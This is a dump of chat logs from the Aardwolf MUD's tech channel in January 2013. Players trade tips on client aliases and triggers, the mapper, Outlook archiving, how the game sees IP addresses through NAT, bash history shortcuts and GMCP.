T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: but then they need one
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bertilak Tech: yeah I'm thinking you aren't using a very user-friendly client, Abe
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: right, but you must construct them
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you don't have to do anything spceial
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: what's the secret then?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: except make a pattern which would not be normal, and tell the action about the argument
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it was never about capability...I stated that MUSH can do it, but you're jumping through some hoops to do so...not big hoops, but bigger than necessary, and certainly bigger than the in-game requires
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mm
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: "alias li c 'spear of odin'"...vs alias of "li( .*?)?" send "c 'spear of odin' %1"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: i use a kk ingame alias for bypassing my target/shoot script and "kk" mush alias to add last target...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: which do you see as being the quick easy answer for something that you want to redefine whenever you get a newer spell of that damtype/healtype
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: it's a real pain to get mush not pass a var sometimes vs not
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: easier to let ingame handle it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ok
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bertilak Tech: you could just set up mush to have a variable for the part in parenthesis and then define that with a simple alias like "lightning 'spear of odin'"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: otherwise you need all that if %1 == null or whatever///
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: use complexity when you want additional functionality, let them complement each other...it's not an either/or thing, I've got plenty of in-client and aard ones :-)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bertilak Tech: and then when you get a new lightning spell just use "lightning 'spellname'"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Santher nods at you in agreement. 
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: bert: yep, but adding even MORE levels of complexity still isn't making it less complex :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: "alias cl c heal", everyone reads it, everyone understands it, can type it without remembering what abstract function I wrote for it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bertilak Tech: you can set up an req
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Bertilak Tech: mischan
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Doc Holliday Tech: has anyone attempted to install newznab before?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Doc Holliday Tech: on mint
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: how gave you guys work the labyrinth area with mapper?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: im tempted to add run en to the alias, but the mobs at the starts are gq mobs.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Metzli Tech: make a custom exit to run en
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Metzli Tech: It will only take you there if it has to
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: duh! ty!
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: your alias should only be "mapper goto xxx"...always let the mapper deal with how to get where you're trying to go and don't manually alias any directions
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: well, i have a wooden yoke, so that is aliased as the portal there. i just see a cexit in the first room for "run en," but the mapper doesnt recognize it for some reason
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: haha. umm, how do i unclear the gui? :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: oh, just retype xcp
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: ronin: if you "mapper goto 31407", what happens?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: doesnt work for me
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: didn't ask if it worked...asked what happens :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: is anybody an outlook wizard?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}SuperJayT Tech: I can google really well.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Probably not better than I can, SuperJayT, but then again, that's part of my job. ;)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: +------------------------------ START OF SEARCH -------------------------------+ etc, etc
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so like, my outlook has 4 POP inboxes
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: I prefer IMAP, but go on.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and in a couple of them, I can't see sent emails for more than a year old
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I would like to see those old sent items
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but the archive.pst file doesn't bring them back
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: would they be being autoarchived somewhere else?  or am I doing something wrong to see them in the archive.pst?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mye Tech: probably autoarchive settings
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I have autoarchive set to never delete old items, etc.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Mye Tech: make sure there's not a rule specific to that folder?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: how hard would it be for aardwolf to be able to identify unique subnets of players?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it already does
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: how do you know
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: why would you think it doesn't?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: I don't know anything about that stuff
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: then why would you even ask?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: curious
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: i wondering what you mean by subnet?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: the ability to recognize subnets is what forms the basis for the siteban functions...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: whatever you would think i mean by "unique subnet"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: so subnet = isp?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: subnet has a very specific IP networking meaning...but you've already stated that you don't know anything about it...so yes, we're curious what you think you're talking about...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: assume someone who knows what they are talking about said they could ID unique subnets connecting to aard.  how plausible is that
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: The word subnet may refer to:
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it's entirely not plausible that someone external to Aard or the datacenter to do so
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: aardwolf cannot tell that you are playing aard from a specific machine, because anything on the opposing end of your router has the same IP address.  If you first go to a proxy, I'm not sure aard can trace back from that proxy to your router.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: apparently has more than 1 meaning
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: nods aard doesn't see through routers...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: don't think anything does.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: aard sees through routers just fine
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: you'd be wrong :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it's nat that it can't see through
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: aard is seeing through a dozen routers to  see your IP
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: but it can't see through the final one?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: sure it can
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: since when?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: provided that one is not using nat
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: since always
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: huh
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: not last time i tried
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: 98% of home routers are using nat, so it cannot normally see past the router in your house to know which of your 3 computers you're on...but why would that matter?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: it's not that it's "the last one"...it's that it's "the one providing NAT"
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: there is no number of routers, first, last or otherwise, which cannot be seen through in a non-nat configuration
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: multiplay implications.  If it could tell which machine you're on, a whole lot of multiplay could legally occur with simplistic checkups.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: it matters when you get falsly accused of multiplaying
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: nah, it still wouldn't matter
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: I can use dozens of real separate IPs and I'd still be convicted of multiplaying
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: i guess they could still accuse you, nods
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: aard will never rely on what any router is going to claim
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: it's like getting nuked for botting without botting *nods*
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: nah, nobody's nuked for multiplaying without some one-on-one time
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: nods i was jailed once for it and ended deleting that chr...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: man that was a long time ago
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: well sure, that's the smart answer...kill yourself before they can get the satisfaction...rather than trying to show innocence or remorse :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: oh i did all that
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: it was weeks later
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: no need to look remorseful when you're not guilty
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: the only way you get nuked for botting without botting is if Lasher had his evil switch flipped by mistake.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: that was an either/or...you hadn't actually claimed guilt or innocence in this instance yet ;-)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: nobody was talking to me... so i broke outta jail and then deleted after because i couldn't get my stuff
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Hanslanda Tech: if you took a zibest to the face, though, he'd probably nuke you for other reasons.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: hard to claim innocence when you get ignored
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: a fellow jail breaker!
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: I think they fixed all the old methods
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: yeah
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: last time i tried i was still in jail
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: oh wait i never got help on my outlook question
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: people still use that? :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: if I'm running 4 POP inboxes, and looks like 1 of them is doing something (Archiving?) with items in the sent folder > 1 year old
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: what's the culprit and what should I do to read them?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ranrr Tech: use imap instead if you want to keep the mail on the server, pop is for download and remove normally
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: I'm happy to download it, I just don't want it deleted
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: unless servers are willing to keep many GB on them
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: sent items for pop mailboxes have nothing to do with servers...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: unlike imap and mapi, there is no concept of a sent box for pop3
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: so outlook is the only thing that has any control over them, and they cannot sync between computers
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: oh wait, problem solved
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: looks like the archive.pst file aggregates archives across all the outlook inboxes/sent boxes, etc.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: Hmmm. I should switch back to using outlook instead of gmails web interface
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: I prefer Thunderbird myself.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: i hate gmail's email interface
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: or use thunderbird
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: does thunderbird use annoying .pst files that get to 9+ GB and hard to back up?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: not that i remember
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Daloran Tech: or thunderbird. I meant more a desktop email client, not specifically outlook. mostly because I have multiple gmail tabs open at any given time
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: eudora won my heart 20 years ago :-)
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I check my email with telnet
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Magna tells Fiendish EHLO
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: hi fiendish, did you see kojirotron was fr0z3n for a week???
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: do you clean your bathroom with a toothbrush too? :P
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ranrr Tech: I just put my ear on the ethernet and check it
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish is a teapot.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I did see that 
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: when did this turn into gossip??
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Really? Because I just saw he was frozen, not fr0z3n.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with Rikitiki Takihisis about their shared secret.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Juictice Tech: if i run 5 accounts into outlook all the time, any reason to think t-bird would be better?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: huh apparently thunderbird was dropped
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Not dropped, just not being developed by Mozilla anymore.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: nods
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Other developers are more than welcome to take the open source and continue with it.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: i don't see that really happening... who pays for email clients these days?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: outlook users...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Santher snickers softly.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ranrr Tech: Guess most people today like the web interfaces of major providers, so there eis little motivation to continue development.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Who said anything about paying for clients, though?
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: nod, other opensource developers could pick it up, no need for revenue any more than any other OSS project
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: coders need to eat too
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ranrr Tech: personally, I've stopped using clients and just use the gmail interface. Easiest when you read mail in multiple places.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't care for the web interface. I'd rather have a third party program to access my mail.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: That's what imap is for.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ranrr Tech: Well, I like the interface too...
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Ranrr Tech: Especially the quick searching.
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Thunderbird does quick searching. :p
T3/r7/2013-01-06.txt.gz:{chan ch=tech}Santher Tech: http://certifiedfreelance.com/why-you-should-switch-to-thunderbird-and-trash-outlook/
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Flapjacked Mirrim Tech: Anyone here know anything about monitors/laptop monitors?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Westclox Tech: anyone know how to set up clanskill in basts spellup?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Santher Tech: i'm sure bast does :P
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Santher Tech: whoah the mapper database is way easier to search with sqlite manager :P
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: of course it is
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Santher Tech: i can finally track down that stupid level lock
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Westclox Tech: i still need to know how to set up my clanskill in bast spellup
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Westclox Tech: if anyone knows, or has a link to the helpfile
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: finger bast, his wiki should explain
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Vakieh Tech: Anyone know a way in Mush to simulate mud-sent info from a plugin?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: what's your end goal?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Vakieh Tech: Communicate with another plugin without rewriting the original to use a broadcaster
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Vakieh Tech: Such that I can safely upgrade said original without having to rewrite it all over again
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: what does the original do?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Vakieh Tech: Is the Fiendish/Bast ones, so I assume they just trigger off ordinary input, or grab from GMCP helper
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Santher Tech: probably easier just to use newer plugins
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Vakieh Tech: That's the point - I made bucketloads of edits to the fiendish and bast packages, and if I upgrade, the changes will either be broken or removed. I want to be able to send mud input (preferably without using echo) so I can hijack into them, knowing the interface won't change when the packages do
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: and fiendish and bast already use broadcasters extensively...
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Vakieh Tech: Bast changed all his broadcasters recently, hence my frustration
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: fiendish's comm log even has specific command for you to put stuff directly into it
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Vakieh Tech: By recently I mean perhaps 12 months ago :D
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh. my. glob.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: heh
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i just learned that !! is bash var for the last command. forgot sudo? just do $sudo !!
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Yep!
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i can't believe i didn't know that before
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Also, ^1^2 replaces the first instance of 1 with 2 in the previous command.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: damn, it's like yelling at your computer to do that thing again, but with more vigor
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Sit like a Trurien Tech: And ^1 repeats the command without the 1.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Doc Holliday Tech: ok i think im missing something
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Doc Holliday Tech: i got the "lastest version of bast"
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Doc Holliday Tech: replaced the whole folder, restarted mush
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Doc Holliday Tech: but my version number isnt changing so it keeps saying i need to update
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Thunderax Tech: anyone got a xp/min plugin for mush? (apart from bast's reporting plugin)
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Siren Cera Tech: i thought moving the prefs file and the state files meant NOT haveing to re-do everything when upgrading mush.  (*sigh*)
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Bast Tech: did you also move the world file, as well as the database files in the logs directory?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Siren Cera Tech: winkles search and destry GUI window is at the very upper edge of my scrren, and I cant see the title bar to move it.  and ideas on getting it accessiable again?  (I tried removing then reinstalling it, and I tried messing with the screen its in)
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Doc Holliday Tech: not sure if "resetaard" will fix that window as well
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Siren Cera Tech: well i know resetaard will screw with my layout.  completely
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i have the same problem as cera as well. just ignored it mostly. :P
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Mokg Tech: xset reset gui
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Siren Cera Tech: thank you mogk, worked like a charm.  :)
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Mokg Tech: np sir
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Siren Cera Tech: sir?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: he hasn't run into many sirens
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: is the any way to change the size of the gui window?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: drag it from a corner like any other window
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: for whatever reason abe, i cant get that to work. :P
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: is your client maximized?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: no
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: are you trying to span monitors?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: nope, on a laptop
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i can get the minimize/mazimize bottuns to work though. :P
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Siren Cera Tech: what window?  some cant be changed.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Siren Cera Tech: for example Bast's Stats miniwindo isnt adjustable
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: the gui window. it is about the size big map window, and i would like it about the size of the mini map window.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: any mush window/miniwindow with a little lined triangle in the bottom right corner can be dragged to resize using that triangle
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: who has the best spellup plugin/script out there?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Tech: some people prefer bast, some prefer winkle
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: k, ill check them out, thanks
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: What's the simplest form of a ping code, in C?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Hanslanda Tech: original C, C++, or C#?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Original.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: How can I strip channel tags if i dont want to capture them?  
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: tags channels off.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: but I want them on for some.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Then create a trigger to omit them.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: would i need to #gag and then just #say the remainder?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: while stripping?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: What client?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: cmud
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Hanslanda Tech: don't use #SAY, you might end up with an infinite loop.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't even need to use #SAY at all.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: I dont know how to strip it without.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Hanslanda Tech: are you doing anything special with that line, other than wanting to remove it?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: #TRIGGER {~~{chan ch=%w~~}} {#GAG}
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, minus one ~
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: would that only remove the {chan ch=tech} part?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: thought that would remove the whole line
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, I'm sorry, use #SUB {}
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: thanks.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Hanslanda Tech: are you using GMCP to send the channels to a different window?  If so, why do you want to keep the tagged line visible?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: i'm not using gmcp to send it.. though I likely should.  Just kdont know enough about it.. as I cant really see it.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Hanslanda Tech: you just need to create a trigger of type GMCP with a pattern of comm.channel.  In the code, you can reference the channel components like variables.  %gmcp.comm.channel.msg would be the visible line of text you see in the normal flow of spam.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: that seems too simple.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: haha, that might just work great.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Hanslanda Tech: that's basically how easy gmcp is to work with in CMud.  The only difficult module to handle is the group module, since it doesn't expand well natively.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Haldrik Tech: what is GMCP?
T3/r7/2013-01-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i have no trouble using group in cmud
T3/r7/2013-01-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: haldrik: generic mud communication protocol
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Haldrik Tech: ooo i see. there was even a helpfile on it
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Hanslanda Tech: the latest implementation of an out-of-band communication protocol to exchange useful data between server and client.  It replaces ATCP, which was largely something invented and used by Iron Realms Entertainment for their games (it was later shared with anyone else who wanted to implement it), which itself replaced the telnet suboptions system.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Haldrik Tech: nice
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: test
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: lol.. so i couldnt figure out how to use the #sub to strip the {$%$#%} part.  So I just #gag and then #show %gmcp.comm.channel.msg
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: anywhere in gmcp it says the full area name? ie You are in area : Dominion Clan Area
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: vs just domnion
T3/r7/2013-01-07.txt.gz:{chan ch=tech}The River Styx Tech: just short name
T3/r7/2013-01-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: no, just the keyword
T3/r7/2013-01-07.txt.gz:{chan ch=tech}SuperJayT Tech: thanks.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it's easy to make a table to convert them though
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Haldrik Tech: there a better way to arrange these mush windows? I'm having trouble getting them to line up all pretty.
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Acheos Tech: i have mine setup pretty nicly
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Aliens Tech: you can drag them around
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Siren Cera Tech: we need a gallery of layouts.  :p
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Haldrik Tech: Yeah i been draggin them around but some of the edges don't line up very well
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Haldrik Tech: it annoys me
T3/r7/2013-01-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so drag better
T3/r7/2013-01-07.txt.gz:{chan ch=tech}Haldrik Tech: and since you can only size from the corner...
